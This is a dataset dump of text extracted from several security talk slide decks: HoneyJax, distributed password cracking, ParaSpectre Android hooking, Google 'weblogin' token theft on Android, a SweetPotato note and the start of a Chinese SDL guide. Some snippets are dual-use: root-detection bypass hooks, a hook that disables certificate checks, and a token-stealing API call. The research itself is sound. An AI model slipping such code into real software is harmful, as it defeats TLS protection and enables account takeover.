text
stringlengths 100
9.93M
| category
stringclasses 11
values |
---|---|
Dan Hubbard
VP Security Research
Perpetual Beta = Live Testing = Trouble
Airline Terminals using Active Script
Start : Middle : End
Wait, the Web has version numbers?
Web Two Dot UH-OH or Exploit 2.0
An introduction to HoneyJax
– Definitions
– Reasons for deploying them
– Types: Passive, Active HoneyJax, Passive Aggressive
– Reporting data from Accounts
– Disclosure for web site vulnerabilities
– Legal Aspects / Grab Bag
Conclusion
One of these things is not like the other
Its a bird, is it a plane, no its Web 2.0 : 80% top 20 Web sites
have Web 2.0 “philosophies”
(src: O’REILLY)
XML HTTP Request
When Microsoft created XMLHttpRequest in Internet
Explorer 5, which let browser-side JavaScript communicate
with the web server in the background without requiring the
browser to display a new web page. That made it possible to
develop more fluid and responsive web applications. Mozilla
soon implemented XMLHttpRequest in its browsers, as did
Apple (in the Safari browser) and Opera.
Several dozen *very* loosely defined standards mashed
together
At the heart of it all are JavaScript and XML
Web “Two Dot Uh-Oh”
Losing control of your destiny: User Created Content
Who do you trust: Social Networks
Unattended Installs and Code Injection: R.S.S
Mushy Peas: Mash-ups
ANY ANY PORT 80: Security is often the last ones to know
But I have a firewall: Its about the information not the
network
If I told you to jump of a bridge…: Its just sooooo easy and
being web 2.0 is cool
Threats User-created content
Property owner gives / leases space to user
400 Million + pages change dramatically
close real-time
Content stripping done but very difficult to
enforce (JavaScript obfuscation deluxe)
Easy to test for vulnerabilities, little disclosure:
Can you say “Web borne Worms”
Allow dynamic/graphic content (jscript, qt, mov)
Trust within user-networks
Used a many-to-many communication platform
User-created Content Hidden IFRAME
w/WMF, CSS auth page phish, Wikipedia
Trojan
Social Networks (1 account : 70M views ~2 M
“friends”)
Interlinking of hundreds of millions of users
Communication platform not just content
“Email is so yr 2000”
More contacts = better site / success
One “friend” can infect millions through their network
One account compromise can be used to gain user trust
Social Networks “My network is bigger
than yours”
Its not just about entertainment. Business colleagues,
networking with associates, recruiting, etc., gaining
popularity
SideBar: Un-attended installations (can they
happen?)
RSS: Meta-Feeds
RSS: Pulling data every X seconds
Introduction to HoneyJax
HoneyPots HoneyClients HoneyJax
HoneyPots:
Emulate OS and Applications behavior
HoneyClients:
Emulate client applications behavior
HoneyJax:
Emulate user accounts, profiles,
and web social networks .
Can also emulate user behavior
Reasons for deploying HoneyJax
95% of all BLOG comments are SPAM (src: Akismet)
SPAM -> P0RN -> Phishing -> Malicious Code
One new weapon in arsenal to help research Web 2.0 threats
The threat playing field is changing and research needs to
evolve with it
Can be used by web property-owners also
Assist in:
• Tracking and trending attacks, attackers, predators
• Escalation to abuse or security department of property
owners
• Track common techniques
• Collect samples of binary code for detection / protection
• Collect URL’s and script code for detection / protection
• Monitor outbreaks (yes more Web worms are coming)
Types of HoneyJax
Passive HoneyJax:
Accounts in web 2.0 space that are not
luring users to add them to
their network in any way.
Active HoneyJax:
Accounts and BOT’s in web 2.0 space
that are designed to join networks
actively and solicit users to join theirs
and reply to requests.
Passive Aggressive HoneyJax:
Accounts that are designed to lure users to visit them through
their characteristics. Eg: p0rn, baby boomers looking for friends,
music band, common interest groups, popular merchandise,
contests
Passive HoneyJax : Luring a Fraudster
Passive HoneyJax : Spam first !
Passive Aggressive HoneyJax : Luring $$$$
Passive Aggressive HoneyJax : My Friends
Active HoneyJax : 4 Types
Open Source
Commercial
Proof-of-Concept (i.e. copy-code)
Do your own
Active HoneyJax : Open Source
Active HoneyJax : Commercial
Active HoneyJax : POC
Active HoneyJax : DYO
Reporting and Forensics
HoneyJax accounts should be setup to send email or SMS
when new attempts to access the account are added
Spider/Bot should connect to HoneyJax accounts and
fingerprint content looking for changes. Make sure that
dynamic content changes by the host are accounted for. All
changes should be kept and stored
Data should be mined for URL’s that are dropped
Content should be analyzed from data mined
Binaries should be sandboxed, etc…
JavaScript should be run through decoder and tested
HTML code should be tested for candidates to send to
sandbox
Report information to vendor, web property owner, etc..
The LAW and the T&C’s
As with any honey technologies check with your legal team
before you deploy these
Check Acceptable Use Policies / Terms and Conditions
Be weary of “commercial” software that allows you to
manage profiles, add friends, etc..
Disclosure of Website Vulnerabilities : Its not
just about the browser !
Website Security has to be taken more seriously !
Massive amounts of problems with sites not being patched,
configured incorrectly, allowing bad data, conduit for others
Website security or lack thereof is a HUGE problem
Cross site scripting, open redirectors, allowing binary file posts,
not scanning upload files, poor script filtering are all big problems
PHP BB, SQL, old Web servers, old OS all too common
Problem with tracking?
– No version numbers : how about time-stamp + example + hash
– No reporting : security departments must field reports on
websites and do more testing, re-testing
– Change controls: force security into the process
– No public credit: MS and Google started doing this, others
should start
– Property owners: get to know who is in your backyard
– How about a web owner area on OSVDB?
Grab Bag
What if there is a reference in one of my HoneyJax but the
site is down?
– A: Is there a reputation for it?
• Query search engines for link references and cached
pages
• What is the age of the domain
• History the site hosted malcode/phishing in the past
• Who registered it
• Where is the IP located
• Who are its neighbors
My boss told me that I need to make our website “Web 2.0”,
should I?
– A: Get the security team involved. Make sure they buy-off
on all design, implementation, and have a reproducible
security testing process, mitigation techniques, and
incident reporting and handling
Conclusion
Don’t run with Scissors
– Before you deploy Web 2.0 be educated on the risks
If you must have user-created content…
– Filter, Filter, Filter, Pen-test, Pen-Test, report, update
If you are a security researcher..
– Advanced JavaScript may not be as cool as ASM but its
powerful. Live it, learn it, you don’t have to love it
The good, the bad, and the ugly
– There is a lot of good, productive, useful Web 2.0
functionalities. But with functionality comes security risk.
Security standards, policies, and practices must balance the
scales with functionality. Its not too late !
dhubbard /AT/ websense /DOT/ com | pdf |
Buying time - What is your data
worth?
"The power which money gives is that of brute force;
it is the power of the bludgeon and the bayonet."
-- William Cobbett
"When in doubt, use brute force."
-- Ken Thompson
Who am I?
Adam Bregenzer
([email protected], [email protected])
●
Member of Kaos Theory and DC404
●
Developer for Anonym.OS and SAMAEL
●
Developer for GroupHug.us
Distributed What?
Scalable password cracking
Can use word lists, character brute forcing,
rainbow tables, or anything you can think of!
Can produce – the answer, rainbow tables, or
again, anything you can think of!
Provides a flexible framework for cracking
passwords across a network of computers.
So, why do I care?
Brute forcing is an “assumed risk” and often
dismissed
The ability to rent computers, or access to grid
computing and storage means that processing
power is “infinite”
CPU = hard dollar cost, therefore password
cracking has a hard dollar cost
Your passwords have a fixed, decreasing cost that
is based on their complexity and application
How is this useful?
Password strength is one way of measuring the
safety of your data.
Practical security can be measured as the
relationship between the efforts required to
break your security and the value of your data
Therefore the value of your data is analogous to
your password's strength, or price.
This is BAD!
Distributed attacks against password hashes
rapidly reduce this cost.
As do Rainbow tables
Additionally, Moore's Law means this cost will
halve every two years.
Botnets today have enough processing power
crack your passwords!
A practical model - libattkthread
Helper code to facilitate multi-threaded cracking
Only need to write a simple function to process
cracking a single word.
Asynchronus, interruptable, extendable.
Resulting library can be extended to take
advantage of distributed processing framework
Quick Tech Review
Password Attacks
Different types – brute force, dictionary, rainbow
tables
Prevention mechanisms – Salts, limited retries
Distributed Computing
● “embarrassingly parallel”
● distributed.net
● Similar tools
●
djohn
●
john's external:parallel
●
Access Data's DNA
libattackthread Design
Attack Initialization – attack_st structure
Readers and Writers
Number of threads
Cracking function
Callback
Starting and stopping the attack
Checking the status of the attack
Implementing libattkthread
Building an attack function
Bringing in words
Writing out hashes
Initializing and starting an attack
Building an attack library
Running an Attack
Processing user values
Running the attack
Signal handling
Building the executable
Implementing the Distributed
Attack Framework
Building the module
Starting the server
Linking multiple servers
Starting and monitoring an attack
Creating an Attack Module
Using the template
Defining the input values
Creating the init and start methods
Building the module
Installing and Running the Server
Configuring it
Starting it
Linking it to another server
Advanced Techniques
Logging in and starting an attack
Watching and controlling the attack
Modifying libattkthread
Making new readers and writers
Other uses of the framework
Modifying the Distributed
Framework
Linked servers
Secure communication
What next?
P2P Distributed processing
Advanced clustering
Demo
DEMO!
Thanks To
Cowpatty
Joshua Wright
Renderman
Byron for testing!
kaos.theory
DEFCON
Questions?
??? | pdf |
1
SweetPotato中EFS提权错误
各位师傅晚上好,今天我在虚拟机中测试SweetPotato,在Win10中是正常运⾏的,但是在Win2016中
⽆法正常运⾏。SeImpersonatePrivilege开启是正常开启的,通过Procmon查看发现没有访问成功?
Windows2016(提权失败):
Windows10(提权成功): | pdf |
Ghost in the Droid
Possessing Android Applications with ParaSpectre
Jeff Dileo (chaosdata)
DEFCON 25
Hi!
I’m Jeff, and I have a problem.
I like to do bad things to worse programming languages.
*audience says*
Hiiiiiiiiiiiiiiiiii Jeff
Outline
• Introduction
• Motivation
• Original Plan
• Android Function Hooking 102
• ParaSpectre
• Demos
• Future Work
Introduction
What is this about?
• Injecting JRuby into Android applications to hook functionality
Why should you care?
• You reverse Android apps
• You develop Android apps, but realize the debugging stack sucks
• You like Ruby and/or REPLs
$ irb
irb (main):001:0> puts ” this
is a REPL”
this
is a REPL
=> n i l
irb (main):002:0>
$ python
Python 2.7.11 ( default , Mar
1 2016, 18:47:52)
[GCC 4.2.1 Compatible Apple LLVM 6.1.0 (clang-602.0.53)] on darwin
Type ”help” , ”copyright ” , ”credits” or ”license” for more information .
>>> print ” this
is
also a REPL”
this
is
also a REPL
>>>
Motivation
• Was reversing multiple complex Android apps
• Including a screwy Korean chat app used primarily by Japanese people
• Writing hooks for it was tedious and it was tricky to figure out what all of the nested
obfuscated objects were
Original Plan
REPL-ize
• Take the interesting functions
...and wrap them in REPLs!
• REPLs are great
• They give you an interactive shell
• And let you poke around at stuff
Android Function Hooking — LD_PRELOAD
Shim to Win
LD_PRELOAD:
• Old-school function hooking
• setprop wrap.<pkg> LD_PRELOAD=/path/to/file.so
• Override dynamically linked native functions
• Inject a native function to run early in app startup
• Requires root access
Android Function Hooking — LD_PRELOAD
Example
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
static int (*_real_rand)(void) = NULL;
__attribute__((constructor))
static void setup() {
_real_rand = (int(*)(void))dlsym(RTLD_NEXT, "rand");
}
int rand() {
if(access(".ps3mode", F_OK) != -1 ) {
return 4;
}
return (*_real_rand)();
}
Android Function Hooking — Debugging
”Seems,” madam? Nay, it is; I know not ”seems.”
Java Debug Wire Protocol (JDWP):
• Actual debugging... with a debugger
• Exposed via ADB
• ”Usable” from several different frontends, e.g. Android Studio, jdb, JSwat
• Can list all Java object instances
• Can set breakpoints
• Within a paused breakpoint frame, can access fields and invoke methods via
”expressions”
• Requires app to be debuggable (can be forced via several means)
• Massively slows down the app
Android Function Hooking — Debugging
Example (Target)
package trust . nccgroup .debugme;
import
. . .
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState ) {
super . onCreate( savedInstanceState ) ;
setContentView(R. layout . activity_main ) ;
Button b = (Button) findViewById (R. id . button) ;
b. setOnClickListener (new View. OnClickListener () {
String msg = Utils .getMsg() ;
@Override
public void onClick (View v) {
Toast .makeText( MainActivity . this , msg, Toast .LENGTH_LONG) .show() ;
}
}) ;
}
}
Android Function Hooking — Debugging
Example (GUI)
Android Function Hooking — Debugging
Example (GUI)
Android Function Hooking — Debugging
Example (CLI)
$ adb jdwp
23817
^C
$ adb forward tcp:23817 jdwp:23817; jdb -attach 127.0.0.1:23817 # fights w/ Android Studio
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> stop in trust.nccgroup.debugme.MainActivity$1.onClick
Set breakpoint trust.nccgroup.debugme.MainActivity$1.onClick
>
Breakpoint hit: "thread=main", trust.nccgroup.debugme.MainActivity$1.onClick(), line=20 bci=0
main[1] eval android.os.Process.myUid()
android.os.Process.myUid() = 10167
main[1] set msg = "Hello, world! " + msg
msg = "Hello, world! " + msg = "Hello, world! These but the trappings and the suits of woe."
main[1] ^[[A
Unrecognized command: ''.
Try help...
main[1] cont
Android Function Hooking — Debugging
Example (Result)
Android Function Hooking — Frida
J-J-J-JavaScript!
Frida:
• Stomps over instruction memory to add hooks
• Scans for and can inspect all active Java object instances
• Function hooks (for native code and Java) implemented in JavaScript (or native code
using frida-gum)
• Injected via root daemon, LD_PRELOAD, modifying an APK, or debugging an app
• Requires root access (if not modifying an APK or debugging)
Android Function Hooking — Frida
Example
Java.perform(function() {
var File = Java.use('java.io.File');
File.exists.implementation = function() {
if(this.path.value == '/system/xbin/su') {
return false;
}
return this.exists();
}
});
Android Function Hooking — Xposed
Monkey-patching zygote is safe, right?
Xposed Framework
• Modifies Zygote to allow for hook code from other packages to be loaded early in the
boot of a target application
• Provides an API to register further hooks within an application
• Due to hook code and target application code having different classloaders, hooks
generally require a lot of reflection to manipulate instances of classes defined in the
target application
• Write hooks in anything that compiles into Java/Dalvik bytecode
• Hooks are easily applied across multiple apps at app start
• Requires the ability to modify the system image
Android Function Hooking — Xposed
Example (top-level scaffolding)
public class XposedEntry implements IXposedHookLoadPackage {
@Override
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpp)
throws Throwable {
if (!lpp.packageName.equals("...")) {
return;
}
ClassLoader singledexcl = lpp.classLoader;
try {
<next slide>
} catch (Throwable t) {...}
}
}
Android Function Hooking — Xposed
Example (multidex scaffolding)
XposedHelpers.findAndHookMethod("android.app.Application",
singledexcl, "attach", Context.class, new XC_MethodHook() {
@Override
protected void afterHookedMethod(
XC_MethodHook.MethodHookParam param) throws Throwable {
Context context = (Context) param.args[0];
ClassLoader multidexcl = context.getClassLoader();
try {
<next slide>
} catch (NoSuchMethodError nsme) {
//pass
} catch (Throwable t) {...}
}
}
);
Android Function Hooking — Xposed
Example (main hook)
XposedHelpers.findAndHookMethod("...", multidexcl, "...",
...<...>.class, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(
MethodHookParam param) throws Throwable {
super.beforeHookedMethod(param);
...
}
@Override
protected void afterHookedMethod(
MethodHookParam param) throws Throwable {
super.afterHookedMethod(param);
...
}
}
);
Android Function Hooking — Xposed
Example (actual hook)
XposedHelpers.findAndHookMethod(File.class, multidexcl, "exists", new XC_MethodHook() {
@Override
protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
String path = ((File) param.thisObject).getAbsolutePath();
if (path.equals("/system/xbin/su")) {
param.setResult(new Boolean(false));
}
}
});
Note: Bootstrap/Android framework classes don’t require multidex scaffolding to hook.
Parasect
The ”Mushroom Pokémon”
Pokédex entries:
• Red/Blue
• A host-parasite pair in which the parasite mushroom has taken over the host bug.
Prefers damp places.
• Yellow
• The bug host is drained of energy by the mushrooms on its back.
They appear to do all the thinking.
• Gold/Stadium 2
• It stays mostly in dark, damp places, the preference not of the bug,
but of the big mushrooms on its back.
• Crystal
• When nothing’s left to extract from the bug,
the mushrooms on its back leave spores on the bug’s egg.
• Diamond/Platinum/Black(2)/White(2)/X
• A mushroom grown larger than the host’s body controls Parasect.
It scatters poisonous spores.
ParaSpectre
”There are only two hard things in Computer Science: cache invalidation and naming things.” -Phil Karlton
• para-, from Ancient Greek παρά (pará, ”beside; next to, near, from; against, contrary
to”)
• in(tro)spection, from Middle French, from Old French inspeccion, from Latin inspectiō
(”examination, inspection”), from the verb inspectō (“I inspect”), from spectō
(”I observe, I watch”), frequentive of speciō (”I look at”)
• spectre, from French spectre, from Latin spectrum (”appearance, apparition”)
• Parasect, from parasite and insect
• ParaSpectre, from all of the above
He was an original X11 designer/implementer, so you know he’s seen some shit.
ParaSpectre
OK, but seriously, what is it?
• A function/method hooking tool for Android
• Injects a JRuby interpreter into a target process
• Uses JSON to configure method matching selectors
• Hooked functions call into custom Ruby code
• And/or drop into an interactive in-process Ruby REPL
• Implemented using Xposed
• Provides first class access to the Java runtime environment and classloaders
• Ensures that arbitrary app packages may be hooked at device startup
• Hook reloading only requires restarting the application/process
• For reference, reloading Xposed hooks themselves requires reinstalling the hook app’s
APK and then rebooting the device.
Capabilities
Let your hooks choose their own destiny!
Matching selectors
• Be as specific or vague as you want to select methods for hooking
• Uses an intersection of the provided selectors to filter
• Class matching (if class name is not supplied), by:
• superclass name
• implemented interfaces
• Method matching, by:
• method name
• argument type signature
• return type
• exception signature
Capabilities
MINASWAN
Ruby (via JRuby)
• Solid scripting language
• Can be forced to run on Android
• ...with relatively minimal blood sacrifices
• Solid Java interop made better with classloader injection
• Code runs with access to the hooked application’s classloader
• No need for reflection, just write the code
• Define subclasses/impls for app-defined classes/ifaces and plug them
• Stackable script hooks
• Per application package
• Per class matcher
• Per method matcher
Capabilities
Run wild at runtime!
Runtime exploration
• With Pry REPLS!
• Pry is a suped-up REPL for Ruby, it’s way better than IRB
• Drop to a Pry REPL to inspect and manipulate application state at runtime
• By default, hooks will drop into a Pry REPL if they don’t return early
https://pryrepl.org
Features
Connect-back REPLs
• Uses a modified version of pry-remote
• Modifies how it uses the DRuby distributed object protocol
• Adds support for specifying client and daemon ports
• Adds support for Unix domain sockets
• Add authentication (see below)
• Uses a modified Ruby stdlib and a custom authenticating proxy that adds
authentication to DRuby
• If you couldn’t tell by now, DRuby is a super dangerous protocol that is completely
unauthenticated and, by default, enables RCE
• Each connect-back REPL is opened in a new tmux window
• Injects hooks into the package manager system service to enable the main
ParaSpectre app to grant the INTERNET permission to apps that don’t request it.
https://github.com/chaosdata/pry-remote
Features
You did WHAT with Jetty?!?
Includes a configuration editor web application
• Raw Jetty Servlet web app running on Android
• Usable from a mobile browser on the Android device itself!
• Used to configure method matcher selectors and write Ruby hook code
• Supports a hook editing workflow that doesn’t require adb push
• UI is Ace-based
• Edits are tracked in an on-device Git repo
• Basic access controls using API keys regenerated on web app start
• Per-app hook config files, with format validation
• Write inline Ruby hooks or reference flat Ruby files
Undertow and RESTEasy had issues due to AWT dependencies
https://ace.c9.io
Design
”Simple” in the sense that this fits on a slide
• Loads hook configuration data
• Reads (rw-r-r--) config files from main ParaSpectre app directory
• Based on app package name
• Falls back to a core paraspectre.json config
• Sets up a JRuby environment on Android
• Xposed hook loads pre-dexed JRuby JAR into a hook-configured application
• Uses some reflection-based environment setup, options tweaking, and custom classes
added into JRuby to make it run properly on Android
• Iterates through all classes in target application’s classloader chain
• Selectors use config values to pick from available classes
• Uses Xposed to set up hooks on matching classes/methods
• The Xposed hooks invoke the config-specified JRuby
Hooks
Instant ramen hook
The JSON config format is a work in progress, but works well enough.
{
"classes": [
{
"name": "android.support.v7.app.AppCompatActivity",
"methods": [
{
"name": "findViewById",
"params": ["int"],
"returns": "android.view.View",
"eval": "puts 'id: ' + args[0].to_s; return;"
}
],
"eval": "puts 'in ' + method.to_s;"
}
],
"eval": ""
}
Hooks — Configuration
”Jay Sahn”
More involved hooks should be broken out into a separate Ruby file.
{
"classes": [
{
"name": "okhttp3.OkHttpClient$Builder",
"methods": [
{
"name": "build",
"eval_file": "okhttp3.OkHttpClient$Builder::build.rb"
}
]
}
]
}
Hooks — Code
”Jay Roo Bee”
this . proxy( java . net . Proxy .new(
java . net . Proxy : : Type. valueOf( ’HTTP ’ ) ,
java . net . InetSocketAddress .new( ’ 127.0.0.1 ’ ,8080))
)
this . certificatePinner (
Java : : Okhttp3 . CertificatePinner : :DEFAULT
) ;
trustAllCerts = Class .new() {
include javax . net . ssl .X509TrustManager
def checkClientTrusted (chain ,authType)
end
def checkServerTrusted(chain ,authType)
end
def getAcceptedIssuers ()
[ ] . to_java ( java . security . cert . X509Certificate )
end
}.new
ctx = javax . net . ssl . SSLContext . getInstance ( ’SSL ’ )
ctx . i n i t (
nil ,
[ trustAllCerts ] ,
java . security .SecureRandom.new
)
socketFactory = ctx . getSocketFactory ()
this . sslSocketFactory ( socketFactory ,
trustAllCerts )
verifier = Class .new() {
include javax . net . ssl . HostnameVerifier
def verify (hostname, session )
true
end
}.new
this . hostnameVerifier ( verifier )
return
Performance
”Do not try and bend the spoon—that’s impossible.”
• This must all be slow, right?
• Ruby isn’t known for speed
• Selector matching costs CPU
• Android apps are slow enough as it is
Performance Tricks — JRuby Initialization
”Go beyond the impossible”
• Pre-dexed JRuby jar is loaded into the classloader during Zygote init
• Due to SEAndroid policies, stores this file under /data/dalvik-cache/paraspectre
• Zygote can read from it, runtime root can write to it
• PathClassLoader needs a parent classloader, but Zygote’s only has framework classes
• Uses reflection dark magic to override the parent with the app classloader later
• Due to flaws inherent in Android’s boot sequence, attempting to initialize a JRuby script
container in Zygote deadlocks the system due to Zygote taking too long to initialize
• Dianne Hackborn, please save us from this darkness
• As a result, JRuby scripting containers are initialized separately in each hooked app
• This is time consuming
• But we can kick this off in a background thread at the Xposed entry point in app start
• The initial run of Ruby code in an initialized container takes several seconds to run
• Post-init, a Ruby hook script of ”return;” is eval’d in the container to prep it before use
Also, can you kill D-Bus and replace it with binder?
Performance Tricks — Class searching and matching
”and kick reason to the curb!”
• Various performance tricks played in scanning classes for matchers
• To search, it needs to iterate through the list of loaded classes
• Save time here by only iterating through class names in app’s own DEX files
• Normal ClassLoader::loadClass hits a worst-case path where it searches through the
parent classloader for framework classes
• Bypassed this by yanking out the protected
dalvik.system.BaseDexClassLoader::findClass method and invoking it directly
• Still running into the classloader global lock
• This prevents multithreaded class iteration, and actually makes it less performant due to lock
contention
• May eventually parse DEX files directly to get metadata for matchers
Performance
Results
• JRuby container initialization went from 29 seconds of startup overhead to being
nigh-instantaneous*
• Class matching overhead is generally unobservable on single DEX applications
• com.facebook.katana has 12 classes.dex files comprising about 100k classes; it is
not a slender blade
• Class iteration (not performed if class matchers are specified by name) takes 30 seconds
• Once iterated, the matching set of classes (logged to logcat) can be specified by name in
the config
Literally the heaviest Android app I could think of.
Performance
Clarifications
If a hook runs automatically on startup, it may have to wait for the initial JRuby container to
be fully initialized, which can take up to 6 seconds on a ”modern” Android device
• This runs in parallel to any class searching, which fully blocks app startup to prevent
target methods from running unhooked
All Android performance numbers come from a Nexus 5X.
Performance
Speed and Latency
• Overall though, the edit workflow is two orders of magnitude smaller than writing raw
Xposed hooks
• Edit Java code (??)
• Compile Java code as an Android app (30s+)
• Copy APK to mobile device (10s+)
• Install APK (30s+)
• Reboot phone (2-3 minutes if the device is encrypted and has a PIN)
All laptop performance numbers come from a Late 2013 13” MacBook Pro.
Demos
Where?
Soon
https://github.com/nccgroup/paraspectre
Current Limitations
Caveat emptor!
• The DRuby protocol is scary, a hooked app (as it can authenticate) can potentially gain
RCE on the host running the pry-remote-based client
• For now, it’s probably best to run the REPL client from a VM
• Long term solution involves research into DRuby
• Medium term solution involves sandboxing the client
• Adding gems is not supported yet, and requires manual bit twiddling
Future Work
Fixing the limitations
• Gem JAR file upload API
• Overhaul the UI for creating, editing, and managing hooks
• Android 7/N+ compatibility (once Xposed supports it)
• Current world-readable config file implementation may break due to SEAndroid changes
• Google’s workaround uses the Android support library, not a standard class
• Leveraging root access to edit a shared config in the /data/dalvik-cache/paraspectre
directory is ugly, but feasible
• Figure out the DRuby situation
Greetz
Here’s to all the little people...
• aleks
• arkos
• bones
• fofão
• jblatz
• justin
• nabla
• niko
• s0rcy
• teknogeek
• trixr4skids
• weber
Questions?
[email protected]
@ChaosDatumz
Ghost in the Droid
Possessing Android Applications with ParaSpectre
Jeff Dileo (chaosdata)
DEFCON 25 | pdf |
Android weblogin:
Google's Skeleton Key
Craig Young, Tripwire VERT
# whoami
I research, identify, and disclose vulnerabilities
as a senior researcher in Tripwire VERT.
I enjoy long bike rides, breaking things which
fail to sanitize input, and building furniture
with my wife on the weekend.
DISCLAIMER: I am definitely not an Android
developer.
Talk Overview (tl;dr)
1. Android trades security for convenience
2. weblogin: can bypass password prompts
3. Security tools do not detect token egress
4. 1 token can fully compromise Google Apps
About weblogin:
● Android Token Type:
weblogin:service=youtube&continue=https://www.youtube.com/
● Grants cookies for the desired service
● Acts in lieu of password entry
Abusing weblogin:
● Cookies obtained are not limited by service
○ App may ask for YouTube and then read your email
○ Android permission prompts are unclear
○ i.e. a YouTube token also gives access to GMail
● Prompt is once per app per token type
● Root or physical access is also token access
1. Retrieve weblogin: token for domain admin
2. Access domain control panel
3. ???
4. PROFIT!!!!
Attacking Google Apps
Using the Skeleton Key
● Admin weblogin: gives a lot of control:
○ Disable 2-Step Verification / Reset Password
○ Add Super-Users*
○ Create and Modify Privileges/Roles
○ Create/Control Mailing Lists on Target Domain
○ Reveal Temporary Passwords
*Google tried to fix this for my talk. See demo for details.
What About GMail?
● Personal Google accounts are also at risk:
○ Full access to Google Drive, Calendar, GMail, etc.
○ Ability to reset password (when 2SV is not enabled)*
○ Data dump (Google Takeout)*
* Addressed by Google in response to my talk
More Access
● Remote install of apps from Google Play
● Authenticate through Federated Login
● Create Google Sites
1. Malware + AccountManager API
2. Query accounts.db (Using root exploit)
3. Physical Access (Chrome auto sign-in)
4. Chip-Off Forensics (Memory extraction)
Ways to Obtain weblogin:
Stock Viewer PoC Objectives
1. Make Token Stealing App without root
○ App requests access to Google Finance (stock ticker)
○ 2 tokens requests == 1 for device + 1 for attacker
2. Publish App in Google Play
○ Will Bouncer allow the token request?
○ Will Bouncer detect that the app is malicious?
3. Scan with Android Security Software
○ Do privacy advisors recognize the threat?
○ Does the token theft get blocked?
Making the App
● Crux of the biscuit:
TOKEN_TYPE = \
"weblogin:service=finance&continue=https://finance.google.com/";
getAuthToken(acct, TOKEN_TYPE, null, this, new TokenCallback(), null);
● getAuthToken() generates an uninformative prompt:
App Revisions
● TubeApp (Quick PoC)
○ Idea is to present as a ‘YouTube’ downloader
○ Fetches domain OAuth secret for in-app display
○ No token egress
● Stock View V1
○ Description indicates it is for testing only
○ Price is $150
○ Uploads token if permitted
● Stock View V2 (SSL Release)
○ Description updated to convey that it is spyware
○ Uploads all available account details
○ Uploads token if permitted
App Permissions
On Install →
On Run ↓
App Results
● Google Play Publication Worked!
○ Nothing was flagged upon submission
○ No data received indicating Bouncer execution
New Questions:
Does Bouncer run all apps?
Does Bouncer run with Google accounts?
Does Google do any manual review?
Stock Viewer in Google Play
Play Store Retrospective
● The app was live on Google Play for a month
● Android Verify now detects it as spyware*
* Unless the app is renamed!
End-Point Protection?
● Antivirus/Privacy Advisors
○ Scanned with 5 popular tools
■ Lookout - Safe
■ Norton - No Risk
■ Sophos - Clean
■ Avast - Zero Problems
■ Trend Micro Mobile Security - No Threats Found
● Privacy Advisors
○ Avast lists it as having account access
○ Lookout Premium did not report access to tokens
DEMO
Don't Be a Victim
● Never use an admin account on Android
● Be very skeptical of token requests
○ weblogin: as well as LSID/SID
● Stick with ‘trusted’ app stores and vendors
● Run Antivirus to detect root exploits
Incident Response
● Punt the intruder:
○ Invalidate all sign-in cookies
○ Reset password(s)
● Review affected accounts for:
○ New mail forwarding rules
○ New recovery email address
○ New domain admins
● Analyze Google Apps audit trail:
○ Identify which actions were unauthorized
○ Record IP addresses used by intruder
Further Reading
Here are some helpful references to learn more:
Excellent blog on AccountManager: http://nelenkov.blogspot.
com/2012/11/sso-using-account-manager.html
My BSides SF 2013 talk on bypassing 2-step verification:
https://www.brighttalk.com/webcast/7651/69283
Duo Security blog on bypassing 2-step verification:
https://blog.duosecurity.com/2013/02/bypassing-googles-two-factor-
authentication/
Questions?
Follow @CraigTweets | pdf |
我的安全视界观 aerfa
作者:aerfa
发布:微信公众号“我的安全视界观”
日期:2020 年 2 月 29 日
我的安全视界观 aerfa
目 录
1
致读者.......................................................................................................................................... 4
1.1
2020 编辑感想 .................................................................................................................................... 4
1.2
2018 编写背景 .................................................................................................................................... 4
2
总体概述 ..................................................................................................................................... 5
2.1
SDL 概况 ................................................................................................................................................ 5
2.2
SDL 流程 ................................................................................................................................................ 5
3
安全培训 ..................................................................................................................................... 6
3.1
关键词 ................................................................................................................................................... 7
3.2
常见问题 ............................................................................................................................................... 8
3.3
安全意识培训 ..................................................................................................................................... 8
3.4
安全技术培训 .................................................................................................................................. 15
3.5
安全制度宣贯 .................................................................................................................................. 20
4
安全需求 .................................................................................................................................. 22
4.1
安全目标 ............................................................................................................................................ 22
4.2
安全活动 ............................................................................................................................................ 22
4.3
待提升项 ............................................................................................................................................ 24
5
安全设计 .................................................................................................................................. 24
5.1
安全目标 ............................................................................................................................................ 24
5.2
安全活动 ............................................................................................................................................ 25
5.3
安全实践 ............................................................................................................................................ 28
5.4
持续优化 ............................................................................................................................................ 29
6
安全开发 .................................................................................................................................. 30
6.1
安全目标 ............................................................................................................................................ 31
6.2
安全活动 ............................................................................................................................................ 31
6.3
安全实践 ............................................................................................................................................ 33
我的安全视界观 aerfa
6.4
持续优化 ............................................................................................................................................ 36
7
安全测试 .................................................................................................................................. 38
7.1
安全目标 ............................................................................................................................................ 38
7.2
安全活动 ............................................................................................................................................ 38
7.3
安全实践 ............................................................................................................................................ 40
7.4
持续优化 ............................................................................................................................................ 42
7.5
培训案例 ............................................................................................................................................ 42
8
安全审核 .................................................................................................................................. 43
8.1
安全目标 ............................................................................................................................................ 43
8.2
安全活动 ............................................................................................................................................ 44
8.3
安全实践 ............................................................................................................................................ 45
8.4
持续优化 ............................................................................................................................................ 46
9
安全响应 .................................................................................................................................. 47
9.1
安全目标 ............................................................................................................................................ 47
9.2
安全活动 ............................................................................................................................................ 47
9.3
安全实践 ............................................................................................................................................ 49
9.4
持续优化 ............................................................................................................................................ 51
10
最后的话 .................................................................................................................................. 52
10.1
与我交流 ...................................................................................................................................... 52
我的安全视界观 aerfa
SDL 最初实践
1 致读者
1.1 2020 编辑感想
今天的北京细雨绵绵,仿佛老天也在为疫情进行洗礼。一个人关在房间已
经十余天,在慢下来的生活与工作中,渐渐喜欢盘腿而坐在床上、膝盖贴着暖
气片、面朝窗外,看着淅淅沥沥的雨落下,偶尔探出头看看路上稀稀拉拉的行
人…显得格外宁静与闲适。(2020 年 2 月 29 日星期六 16:30)
大脑和身体一样,如果缺乏锻炼就会不灵活,然而有时候又会突然感到
渴,不禁想要动一动。恰逢 RSA2020 创新沙盒入选了些应用安全创新型厂
商,DevSecOps 再次迅速火热起来。回想在 2018 年的计划--记录、总结并输
